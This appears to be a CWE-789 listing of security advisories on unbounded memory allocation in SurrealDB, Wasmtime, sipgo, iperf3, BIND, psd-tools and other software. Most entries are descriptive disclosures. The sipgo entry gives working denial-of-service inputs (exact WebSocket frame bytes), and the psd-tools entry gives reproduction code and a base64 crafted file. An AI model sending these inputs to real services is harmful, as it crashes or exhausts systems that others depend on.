Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

509 vulnerabilities reference this CWE, most recent first.

GHSA-849X-5QR7-WXFM

Vulnerability from github – Published: 2026-07-18 15:31 – Updated: 2026-08-19 18:32
VLAI
Details

SurrealDB versions before 2.2.2 contain a memory exhaustion vulnerability in the string::replace function that fails to restrict resulting string length when using regex patterns. An authenticated attacker can craft a malicious query to exhaust server memory through unbounded string allocations, causing denial of service.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-71395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-18T14:17:10Z",
    "severity": "HIGH"
  },
  "details": "SurrealDB versions before 2.2.2 contain a memory exhaustion vulnerability in the string::replace function that fails to restrict resulting string length when using regex patterns. An authenticated attacker can craft a malicious query to exhaust server memory through unbounded string allocations, causing denial of service.",
  "id": "GHSA-849x-5qr7-wxfm",
  "modified": "2026-08-19T18:32:00Z",
  "published": "2026-07-18T15:31:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-3633-g6mg-p6qq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71395"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/surrealdb-before-memory-exhaustion-via-string-replace"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-852M-CVVP-9P4W

Vulnerability from github – Published: 2026-02-24 20:47 – Updated: 2026-02-27 20:25
VLAI
Summary
Wasmtime WASI implementations are vulnerable to guest-controlled resource exhaustion
Details

Impact

Wasmtime's implementation of WASI host interfaces are susceptible to guest-controlled resource exhaustion on the host. Wasmtime did not appropriately place limits on resource allocations requested by the guests. This serves as a Denial of Service vector where a guest can induce a range of crashing behaviors on the host such as:

  • Allocating arbitrarily large amounts of host memory.
  • Causing an allocation failure on the host, which in Rust defaults to aborting the process.
  • Causing a panic on the host due to over-large allocations being performed.
  • Cause degredation in performance of the host by holding excessive host memory alive.

Wasmtime's security bug policy considers all of these behaviors a security vulnerability. Wasmtime's implementation of WASI has a number of different ways that resource exhaustion could happen, and fixing any one of them is insufficient from solving this vulnerability. A number of individual issues are grouped within this advisory and as a whole represent the known ways that guests can exhaust resources on the host.

An example of guest-controlled resource exhaustion within Wasmtime's implementation of WASI is guests could repeatedly allocate handles to themselves without limit. Some APIs also caused the host to perform a guest-controlled-sized allocation of a buffer on the host for I/O operations. Other APIs could force the host to buffer arbitrary amounts of data for the guest. Finally the guest could hand arbitrarily large allocations from itself to the host which could cause the host to perform an arbitrarily sized copy of memory which in some situations could result in quadratically sized allocations.

Wasmtime's implementations of WASIp1 and WASIp2 are affected by this vulnerability. Any host API modeled with the Component Model (or WIT) which operates on a string or list<T> type is also affected. Not all WIT and WASI APIs are affected by this issue, but that's more of an exception so it's recommended for all embedders to consider themselves affected.

To address this issue a number of mitigations are being applied to limit the behavior of a guest in WASI. All of these mitigations manifest in the form of a limit of some kind applied to various situations, and as such all of these mitigations are backwards-incompatible as they run the risk of breaking preexisting programs. To address this all backports to previous stable releases have these limits tuned to overly-large values. This ensures that preexisting guests do not break while still providing embedders the knobs to prevent this DoS vector as well. The limits added to Wasmtime are:

  • -Smax-resources=N or ResourceTable::set_max_capacity - the maximum number of resources that a guest is allowed to allocate for itself.
  • -Shostcall-fuel=N or Store::set_hostcall_fuel - the maximum amount of data that the guest may copy to the host in a single function call.
  • -Smax-random-size=N or WasiCtxBuilder::max_random_size - the maximum size of the return value of get-random-bytes and get-insecure-random-bytes in the wasi:random implementations.
  • -Smax-http-fields-size=N or WasiHttpCtx::set_max_fields_size - the maximum size of headers for an HTTP request/response.

These settings are equally applicable to both WASIp1 and WASIp2. Wasmtime 41.0.x and prior previously did not limit these settings and the knobs being released are set to very large values by default to avoid any breaking behavior. Embedders will need to proactively tune these knobs as appropriate for their embeddings. The default settings in the unreleased Wasmtime 42.0.0 are 1M for max resources, 128MiB for hostcall fuel, 64MiB for max-random-size, and 32KiB for http fields size. Tuning is not expected for Wasmtime 42.0.0+.

Hosts/embedders affected by this issue are encouraged to audit and double-check their own host APIs they have implemented to see whether they are affected by this issue as well. The -Shostcall-fuel setting is intended to be a relatively coarse fix for many possible issues by limiting the amount of data for all host APIs at once, so many embedders may not need to take further action beyond updating Wasmtime and configuring it appropriately (if not updating to 42.0.0). Embedders should audit to see, however, if the guest is able to force the host to allocate on its behalf and ensure that the allocation is limited or tracked somehow.

Patches

Wasmtime 24.0.6, 36.0.6, 40.0.4, 41.0.4, and 42.0.0 have all been released with the fix for this issue. These versions do not prevent this issue in their default configuration to avoid breaking preexisting behaviors. All versions of Wasmtime have appropriate knobs to prevent this behavior, and Wasmtime 42.0.0-and-later will have these knobs tuned by default to prevent this issue from happening.

Workarounds

There are no known workarounds for this issue without upgrading. Embedders are recommended to upgrade and configure their embeddings as necessary to prevent possibly-malicious guests from triggering this issue.

Resources

Severity
5.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "36.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "37.0.0"
            },
            {
              "fixed": "40.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-774",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:47:08Z",
    "nvd_published_at": "2026-02-24T22:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWasmtime\u0027s implementation of WASI host interfaces are susceptible to guest-controlled resource exhaustion on the host. Wasmtime did not appropriately place limits on resource allocations requested by the guests. This serves as a Denial of Service vector where a guest can induce a range of crashing behaviors on the host such as:\n\n* Allocating arbitrarily large amounts of host memory.\n* Causing an allocation failure on the host, which in Rust defaults to aborting the process.\n* Causing a panic on the host due to over-large allocations being performed.\n* Cause degredation in performance of the host by holding excessive host memory alive.\n\nWasmtime\u0027s [security bug policy](https://docs.wasmtime.dev/security-what-is-considered-a-security-vulnerability.html) considers all of these behaviors a security vulnerability. Wasmtime\u0027s implementation of WASI has a number of different ways that resource exhaustion could happen, and fixing any one of them is insufficient from solving this vulnerability. A number of individual issues are grouped within this advisory and as a whole represent the known ways that guests can exhaust resources on the host.\n\nAn example of guest-controlled resource exhaustion within Wasmtime\u0027s implementation of WASI is guests could repeatedly allocate handles to themselves without limit. Some APIs also caused the host to perform a guest-controlled-sized allocation of a buffer on the host for I/O operations. Other APIs could force the host to buffer arbitrary amounts of data for the guest. Finally the guest could hand arbitrarily large allocations from itself to the host which could cause the host to perform an arbitrarily sized copy of memory which in some situations could result in quadratically sized allocations.\n\nWasmtime\u0027s implementations of WASIp1 and WASIp2 are affected by this vulnerability. Any host API modeled with the Component Model (or WIT) which operates on a `string` or `list\u003cT\u003e` type is also affected. Not all WIT and WASI APIs are affected by this issue, but that\u0027s more of an exception so it\u0027s recommended for all embedders to consider themselves affected.\n\nTo address this issue a number of mitigations are being applied to limit the behavior of a guest in WASI. All of these mitigations manifest in the form of a limit of some kind applied to various situations, and as such all of these mitigations are backwards-incompatible as they run the risk of breaking preexisting programs. To address this all backports to previous stable releases have these limits tuned to overly-large values. This ensures that preexisting guests do not break while still providing embedders the knobs to prevent this DoS vector as well. The limits added to Wasmtime are:\n\n* `-Smax-resources=N` or `ResourceTable::set_max_capacity` - the maximum number of resources that a guest is allowed to allocate for itself.\n* `-Shostcall-fuel=N` or `Store::set_hostcall_fuel` - the maximum amount of data that the guest may copy to the host in a single function call.\n* `-Smax-random-size=N` or `WasiCtxBuilder::max_random_size` - the maximum size of the return value of `get-random-bytes` and `get-insecure-random-bytes` in the `wasi:random` implementations.\n* `-Smax-http-fields-size=N` or `WasiHttpCtx::set_max_fields_size` - the maximum size of headers for an HTTP request/response.\n\nThese settings are equally applicable to both WASIp1 and WASIp2. Wasmtime 41.0.x and prior previously did not limit these settings and the knobs being released are set to very large values by default to avoid any breaking behavior. Embedders will need to proactively tune these knobs as appropriate for their embeddings. The default settings in the unreleased Wasmtime 42.0.0 are 1M for max resources, 128MiB for hostcall fuel, 64MiB for max-random-size, and 32KiB for http fields size. Tuning is not expected for Wasmtime 42.0.0+.\n\nHosts/embedders affected by this issue are encouraged to audit and double-check their own host APIs they have implemented to see whether they are affected by this issue as well. The `-Shostcall-fuel` setting is intended to be a relatively coarse fix for many possible issues by limiting the amount of data for all host APIs at once, so many embedders may not need to take further action beyond updating Wasmtime and configuring it appropriately (if not updating to 42.0.0). Embedders should audit to see, however, if the guest is able to force the host to allocate on its behalf and ensure that the allocation is limited or tracked somehow.\n\n### Patches\n\nWasmtime 24.0.6, 36.0.6, 40.0.4, 41.0.4, and 42.0.0 have all been released with the fix for this issue. These versions do not prevent this issue in their default configuration to avoid breaking preexisting behaviors. All versions of Wasmtime have appropriate knobs to prevent this behavior, and Wasmtime 42.0.0-and-later will have these knobs tuned by default to prevent this issue from happening.\n\n### Workarounds\n\nThere are no known workarounds for this issue without upgrading. Embedders are recommended to upgrade and configure their embeddings as necessary to prevent possibly-malicious guests from triggering this issue.\n\n### Resources\n\n* [`Store::set_hostcall_fuel`](https://docs.rs/wasmtime/latest/wasmtime/struct.Store.html#method.set_hostcall_fuel)\n* [`ResourceTable::set_max_capacity`](https://docs.rs/wasmtime/latest/wasmtime/component/struct.ResourceTable.html#method.set_max_capacity)\n* [`WasiCtxBuilder::max_random_size`](https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/struct.WasiCtxBuilder.html#method.max_random_size)\n* [Original PR showing resource exhaustion](https://github.com/bytecodealliance/wasmtime/pull/12599)\n* [Issue about limiting max resource handles per-guest](https://github.com/bytecodealliance/wasmtime/issues/11552)",
  "id": "GHSA-852m-cvvp-9p4w",
  "modified": "2026-02-27T20:25:10Z",
  "published": "2026-02-24T20:47:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-852m-cvvp-9p4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/issues/11552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/pull/12599"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/struct.WasiCtxBuilder.html#method.max_random_size"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime/latest/wasmtime/component/struct.ResourceTable.html#method.set_max_capacity"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime/latest/wasmtime/struct.Store.html#method.set_hostcall_fuel"
    },
    {
      "type": "WEB",
      "url": "https://docs.wasmtime.dev/security-what-is-considered-a-security-vulnerability.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/wasmtime"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Wasmtime WASI implementations are vulnerable to guest-controlled resource exhaustion"
}

GHSA-8937-GCF5-34XQ

Vulnerability from github – Published: 2023-06-28 15:30 – Updated: 2023-06-28 15:30
VLAI
Details

A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM&P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM&P users who were authenticated prior to an attack.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-28T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM \u0026amp; Presence Service (Unified CM IM\u0026amp;P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM\u0026amp;P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM\u0026amp;P users who were authenticated prior to an attack.",
  "id": "GHSA-8937-gcf5-34xq",
  "modified": "2023-06-28T15:30:23Z",
  "published": "2023-06-28T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20108"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-imp-dos-49GL7rzT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8CVC-F53X-R3V4

Vulnerability from github – Published: 2026-09-04 00:31 – Updated: 2026-09-04 00:31
VLAI
Details

MOOS-IvP through 24.8.1 contains a denial of service vulnerability in the Demuxer::addMuxPacket() function that trusts the packet count declared in mux headers without validation. Attackers can declare arbitrarily large packet counts to trigger unbounded memory allocation, exhausting system resources and causing service unavailability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-85445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-03T23:17:24Z",
    "severity": "HIGH"
  },
  "details": "MOOS-IvP through 24.8.1 contains a denial of service vulnerability in the Demuxer::addMuxPacket() function that trusts the packet count declared in mux headers without validation. Attackers can declare arbitrarily large packet counts to trigger unbounded memory allocation, exhausting system resources and causing service unavailability.",
  "id": "GHSA-8cvc-f53x-r3v4",
  "modified": "2026-09-04T00:31:09Z",
  "published": "2026-09-04T00:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/pull/129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/commit/fc5649ac12915f66a9f09520cdb6b14bc6d77595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/blob/1de9ae146cd63c209e8c3fd81611a4ed2472971b/ivp/src/lib_ivpbuild/Demuxer.cpp#L79"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/moos-ivp-through-24.8.1-bhv-ipf-demultiplexer-memory-exhaustion-via-packet-count"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8H6X-H86X-75WH

Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34
VLAI
Summary
SIPGO: DoS via unvalidated WebSocket frame length
Details

Summary

The WebSocket transport allocates a buffer from the frame payload length before validating its size, which can lead to an unauthenticated DoS.

Details

WSConnection.Read allocates a buffer from the declared WebSocket frame length before reading the payload (https://github.com/emiago/sipgo/blob/v1.4.0/sip/transport_ws.go#L400):

data := make([]byte, header.Length)   // header.Length is client-controlled, up to 2^63-1 (int64)
  • NextFrame() reads only the frame header and never checks the length: wsutil.NewReader is created with no MaxFrameSize (0 = unlimited). ParseMaxMessageLength applies only downstream, not here.
  • A value above the max slice size (e.g. 2^63-1) panics make. sipgo does not recover from this panic, so it crashes the whole server process.

PoC

Tested on emiago/sipgo v1.4.0 (latest).

After a normal WebSocket handshake, send one masked text frame consisting of the header only (no payload), declaring a huge length. The allocation runs as soon as the header is read.

0x81                                            FIN + text opcode
0xFF                                            MASK bit + length marker 127 (8-byte length follows)
0x7F FF FF FF FF FF FF FF                        declared length = 2^63-1  ->  make panics (crash)
<4-byte masking key>
(no payload)

This crashes the server process:

panic: runtime error: makeslice: len out of range

goroutine 23 [running]:
github.com/emiago/sipgo/sip.(*WSConnection).Read(...)
        /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transport_ws.go:400 +0x2df
github.com/emiago/sipgo/sip.(*TransportWS).readConnection(...)
        /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transport_ws.go:194 +0x266
created by github.com/emiago/sipgo/sip.(*TransportWS).initConnection in goroutine 21
        /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transport_ws.go:167 +0x268

Suggested Fix

Set MaxFrameSize on the wsutil.NewReader.

Impact

Unauthenticated DoS. Any service using sipgo with a WS/WSS transport can be crashed by a single frame (panic), or forced to run out of memory.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/emiago/sipgo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:34:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe WebSocket transport allocates a buffer from the frame payload length before validating its size, which can lead to an unauthenticated DoS.\n\n### Details\n\n`WSConnection.Read` allocates a buffer from the declared WebSocket frame length before reading the payload (https://github.com/emiago/sipgo/blob/v1.4.0/sip/transport_ws.go#L400):\n\n```go\ndata := make([]byte, header.Length)   // header.Length is client-controlled, up to 2^63-1 (int64)\n```\n\n- `NextFrame()` reads only the frame header and never checks the length: `wsutil.NewReader` is created with no [`MaxFrameSize`](https://pkg.go.dev/github.com/gobwas/ws@v1.3.2/wsutil#Reader.MaxFrameSize) (`0` = unlimited). `ParseMaxMessageLength` applies only downstream, not here.\n- A value above the max slice size (e.g. `2^63-1`) panics `make`. sipgo does not recover from this panic, so it crashes the whole server process.\n\n### PoC\n\nTested on emiago/sipgo v1.4.0 (latest).\n\nAfter a normal WebSocket handshake, send one masked text frame consisting of the header only (no payload), declaring a huge length. The allocation runs as soon as the header is read.\n\n```\n0x81                                            FIN + text opcode\n0xFF                                            MASK bit + length marker 127 (8-byte length follows)\n0x7F FF FF FF FF FF FF FF                        declared length = 2^63-1  -\u003e  make panics (crash)\n\u003c4-byte masking key\u003e\n(no payload)\n```\n\nThis crashes the server process:\n\n```\npanic: runtime error: makeslice: len out of range\n\ngoroutine 23 [running]:\ngithub.com/emiago/sipgo/sip.(*WSConnection).Read(...)\n        /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transport_ws.go:400 +0x2df\ngithub.com/emiago/sipgo/sip.(*TransportWS).readConnection(...)\n        /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transport_ws.go:194 +0x266\ncreated by github.com/emiago/sipgo/sip.(*TransportWS).initConnection in goroutine 21\n        /path/to/pkg/mod/github.com/emiago/sipgo@v1.4.0/sip/transport_ws.go:167 +0x268\n```\n\n### Suggested Fix\n\nSet [`MaxFrameSize`](https://pkg.go.dev/github.com/gobwas/ws@v1.3.2/wsutil#Reader.MaxFrameSize) on the `wsutil.NewReader`.\n\n### Impact\n\nUnauthenticated DoS. Any service using `sipgo` with a WS/WSS transport can be crashed by a single frame (panic), or forced to run out of memory.",
  "id": "GHSA-8h6x-h86x-75wh",
  "modified": "2026-09-22T20:34:30Z",
  "published": "2026-09-22T20:34:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emiago/sipgo/security/advisories/GHSA-8h6x-h86x-75wh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emiago/sipgo/commit/769e4bc958376e2363566c8f7042202b410becdc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emiago/sipgo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emiago/sipgo/releases/tag/v1.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SIPGO: DoS via unvalidated WebSocket frame length"
}

GHSA-8M2W-V7G5-76V3

Vulnerability from github – Published: 2026-08-11 09:32 – Updated: 2026-08-11 12:30
VLAI
Details

A flaw was found in iperf3. A remote unauthenticated attacker can exploit a vulnerability in the JSON_read() function, which accepts a peer-controlled message length and allocates memory without an upper bound. This allows the attacker to trigger excessive memory consumption, leading to a Denial of Service (DoS) through memory exhaustion, severe slowdown, or termination of the iperf3 service.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-71218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T09:17:14Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in iperf3. A remote unauthenticated attacker can exploit a vulnerability in the `JSON_read()` function, which accepts a peer-controlled message length and allocates memory without an upper bound. This allows the attacker to trigger excessive memory consumption, leading to a Denial of Service (DoS) through memory exhaustion, severe slowdown, or termination of the iperf3 service.",
  "id": "GHSA-8m2w-v7g5-76v3",
  "modified": "2026-08-11T12:30:22Z",
  "published": "2026-08-11T09:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esnet/iperf/commit/0128d0357b7e8916fe39e980e455729bc0e5fd4e"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-71218"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MXM-4GJM-VRC7

Vulnerability from github – Published: 2024-02-13 15:31 – Updated: 2024-05-03 15:30
VLAI
Details

To keep its cache database efficient, named running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, named may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured max-cache-size limit to be significantly exceeded. This issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T14:15:46Z",
    "severity": "HIGH"
  },
  "details": "To keep its cache database efficient, `named` running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, `named` may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.",
  "id": "GHSA-8mxm-4gjm-vrc7",
  "modified": "2024-05-03T15:30:36Z",
  "published": "2024-02-13T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNNHZSZPG2E7NBMBNYPGHCFI4V4XRWNQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240503-0008"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/13/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q6G-VJHF-JP8M

Vulnerability from github – Published: 2026-09-22 19:45 – Updated: 2026-09-22 19:45
VLAI
Summary
psd-tools composite/numpy has uncontrolled memory allocation via crafted PSD geometry
Details

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:
